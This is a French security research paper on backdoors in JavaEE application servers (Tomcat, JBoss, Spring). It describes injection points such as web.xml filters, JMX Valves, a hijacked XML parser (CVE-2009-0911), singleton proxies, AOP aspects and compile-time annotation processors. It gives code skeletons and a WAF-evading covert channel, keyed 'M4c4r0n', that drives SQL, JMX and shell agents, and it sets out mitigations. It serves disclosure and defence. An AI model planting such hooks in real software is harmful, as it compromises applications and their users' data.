En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms
Fig 4 Repartition des classes dans Tomcat 5
Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles
La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu
396 Porte derobee dans les serveurs drsquoapplications JavaEE
Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active
24 Les techniques drsquoinjections
Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte
Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes
Fig 5 Point drsquoinsertions
Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution
ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation
P Prados 397
Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication
Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier
Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web
ltfilter gt
ltfilter -namegtMacaron ltfilter -namegt
ltfilter -class gtMacaronFilter ltfilter -class gt
ltfilter gt
ltfilter -mapping gt
ltfilter -namegtMacaron ltfilter -namegt
lturl -pattern gtlturl -pattern gt
ltfilter -mapping gt
Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications
Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas
Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets
ServletContextaddFilter ()
De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml
ltweb -fragment gt
ltfilter gt
3 httpwwwsecurityorgsgcodejspreversehtml
398 Porte derobee dans les serveurs drsquoapplications JavaEE
ltfilter gt
ltweb -fragment gt
Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution
Pour ajouter une valve il faut construire une instance heritant de ValveBase
avant de lrsquoinstaller dans le serveur via une requete JMX
public static void injectValve () throws Exception
final MBeanServer srv=getMBeanServer ()
final Set ltgt valves=srvqueryNames(
new ObjectName(
J2EEServer=none j2eeType=WebModule ) null)
for (Object ivalves)
srvinvoke (( ObjectName)iaddValve
new Object []
new ValveBase ()
public final void invoke(final Request req
final Response resp)
throws IOException ServletException
getNext ()invoke(req resp)
Inject code here
new String []orgapachecatalinaValve)
Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus
Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes
P Prados 399
Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise
Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves
Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase
si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege
Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory
Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework
Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse
Le code suivant est un extrait de cette implementation
public class SAXParserFactory extends javaxxmlparsersSAXParserFactory
private final
javaxxmlparsersSAXParserFactory next_
protected void hookParse(XMLReader reader
InputSource input)
throws IOException SAXException
Inject code here
readerparse(input)
public SAXParserFactory ()
next_ = nextServices(
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
